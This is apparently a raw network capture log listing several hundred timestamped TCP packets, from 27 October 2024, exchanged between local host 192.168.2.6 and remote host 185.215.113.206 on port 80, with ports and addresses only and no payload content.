Oct 27, 2024 00:31:15.980730057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980736017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980763912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.980775118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.980803013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.981388092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.981421947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.981446028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.981455088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.981470108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.981489897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.981499910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.981524944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.981532097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.981560946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.981590033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.981595993 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.981616974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.981635094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.088844061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.088901043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.088913918 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.088934898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.088948011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.088995934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089159966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089195967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089211941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089232922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089241028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089270115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089279890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089318991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089550018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089584112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089617968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089639902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089679956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089878082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089910984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089941025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089945078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089952946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.089981079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.089991093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090015888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090043068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090049982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090065002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090085030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090095043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090121031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090166092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090549946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090619087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090687037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090718985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090750933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090753078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090773106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090787888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090796947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090821981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090856075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090859890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090889931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090898991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090924978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.090935946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.090970039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.091612101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091662884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091667891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.091696978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091727018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.091732025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091747999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.091772079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091804981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091814041 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.091840029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091854095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.091875076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091886044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.091911077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.091928005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092099905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092432976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092464924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092489958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092498064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092500925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092535019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092544079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092570066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092602968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092612982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092637062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092652082 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092670918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.092680931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.092734098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093343019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093375921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093406916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093409061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093435049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093444109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093458891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093477964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093483925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093513012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093524933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093547106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093580008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093590975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093601942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093612909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.093622923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.093664885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094141960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094192028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094261885 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094295025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094307899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094327927 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094336987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094362020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094372988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094397068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094398975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094432116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094463110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094465017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094476938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094499111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094513893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094532013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.094543934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.094573021 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095012903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095046997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095072031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095079899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095087051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095115900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095149040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095160007 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095184088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095191002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095218897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095227003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095252991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095284939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095298052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095329046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095338106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095371008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095377922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095413923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095885992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095918894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095941067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095953941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.095974922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.095988989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096004009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096021891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096030951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096064091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096069098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096103907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096110106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096137047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096144915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096170902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096184015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096205950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096211910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096240044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096275091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096287012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096316099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096776009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096808910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096826077 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096843958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096848965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096877098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096888065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096911907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096916914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096946001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096950054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.096981049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.096986055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.097014904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.097018957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.097054958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.133997917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.134008884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.134058952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204097986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204148054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204154015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204161882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204190016 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204205990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204282999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204293966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204304934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204315901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204332113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204369068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204554081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204564095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204575062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204613924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204710960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204721928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204731941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204741001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204751968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204763889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204780102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.204950094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204962015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204972029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.204996109 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.205012083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.249138117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.254497051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527177095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527199984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527209044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527255058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527306080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527497053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527539015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527574062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527586937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527612925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527630091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527755976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527802944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527822971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527862072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527898073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527909040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527919054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527930975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.527942896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.527976036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.528261900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528275013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528285980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528301954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528311014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.528351068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.528597116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528609991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528620958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528633118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528654099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.528670073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.528913975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.528964996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.529069901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529083014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529093981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529113054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529117107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.529126883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529135942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.529139996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529165030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.529179096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.529567957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529581070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529592037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529603958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529623985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.529654026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.529982090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.529994011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530004025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530015945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530025005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530029058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530040979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530054092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530054092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530066013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530078888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530078888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530091047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530097961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530119896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530145884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530915022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530927896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530937910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530949116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530960083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530963898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530972004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530983925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.530991077 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.530996084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.531008959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.531012058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.531019926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.531023979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.531052113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.531075001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.531722069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.531737089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.531784058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.642659903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.642690897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.642704010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.642729998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.642767906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.642889023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.642903090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.642932892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.642961025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643021107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643033028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643043041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643070936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643089056 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643239975 CEST	80	49709	185.215.113.206	192.168.2.6
